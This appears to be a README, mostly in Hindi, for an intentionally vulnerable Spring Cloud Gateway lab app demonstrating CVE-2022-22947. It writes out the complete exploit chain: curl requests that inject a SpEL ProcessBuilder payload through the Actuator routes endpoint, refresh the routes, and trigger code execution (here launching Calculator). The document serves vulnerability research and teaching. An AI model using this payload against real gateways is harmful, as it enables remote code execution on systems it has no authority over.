
一个由AI生成的漏洞验证应用
यह CVE-2022-22947 भेद्यता को प्रदर्शित करने और सत्यापित करने के लिए एक समर्पित Spring Cloud Gateway एप्लिकेशन है। यह एप्लिकेशन Spring Cloud Gateway के एक असुरक्षित संस्करण का उपयोग करता है, जिसके माध्यम से Actuator एंडपॉइंट के जरिए मनमाना कोड निष्पादित किया जा सकता है।
CVE-2022-22947 Spring Cloud Gateway में एक रिमोट कोड एक्ज़ीक्यूशन (RCE) भेद्यता है। हमलावर Actuator एंडपॉइंट के माध्यम से दुर्भावनापूर्ण SpEL एक्सप्रेशन वाले रूट्स को गतिशील रूप से जोड़कर मनमाना कोड निष्पादित कर सकता है।
mvn spring-boot:run
एप्लिकेशन http://localhost:8080 पर प्रारंभ होगा।
/actuator/gateway/routes/test एंडपॉइंट पर POST अनुरोध भेजें, जिसमें दुर्भावनापूर्ण SpEL एक्सप्रेशन वाला रूट शामिल हो:
curl -X POST http://localhost:8080/actuator/gateway/routes/test \
-H "Content-Type: application/json" \
-d '{
"id": "test",
"filters": [
{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new java.lang.ProcessBuilder(\"open\", \"-a\", \"Calculator\").start()}"
}
}
],
"uri": "http://example.com",
"predicates": [
{
"name": "Path",
"args": {
"_genkey_0": "/test"
}
}
]
}'
रूट को रिफ्रेश करने के लिए /actuator/gateway/refresh एंडपॉइंट पर POST अनुरोध भेजें:
curl -X POST http://localhost:8080/actuator/gateway/refresh
कोड निष्पादन को ट्रिगर करने के लिए दुर्भावनापूर्ण रूट तक पहुँचें:
curl http://localhost:8080/test
भेद्यता के सफल शोषण के बाद, macOS कैलकुलेटर एप्लिकेशन प्रारंभ हो जाएगा।
एंडपॉइंट: POST /actuator/gateway/routes/test
अनुरोध शीर्षक:
Content-Type: application/json
अनुरोध निकाय:
{
"id": "test",
"filters": [
{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new java.lang.ProcessBuilder(\"open\", \"-a\", \"Calculator\").start()}"
}
}
],
"uri": "http://example.com",
"predicates": [
{
"name": "Path",
"args": {
"_genkey_0": "/test"
}
}
]
}
एंडपॉइंट: POST /actuator/gateway/refresh
एंडपॉइंट: GET /test
यह भेद्यता हमलावर को Actuator एंडपॉइंट के माध्यम से गतिशील रूप से रूट जोड़ने और रूट फिल्टर में SpEL एक्सप्रेशन का उपयोग करके मनमाना कोड निष्पादित करने की अनुमति देती है। भेद्यता का मूल कारण Spring Cloud Gateway द्वारा रूट कॉन्फ़िगरेशन में SpEL एक्सप्रेशन का अनुचित प्रसंस्करण है।
⚠️ सुरक्षा चेतावनी: यह एप्लिकेशन केवल शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए है। कृपया इस एप्लिकेशन को उत्पादन वातावरण में उपयोग या तैनात न करें।
⚠️ कानूनी घोषणा: इस एप्लिकेशन का उपयोग करके भेद्यता परीक्षण करते समय, सुनिश्चित करें कि आपके पास उचित प्राधिकरण है। अनधिकृत परीक्षण कानूनों और विनियमों का उल्लंघन कर सकता है।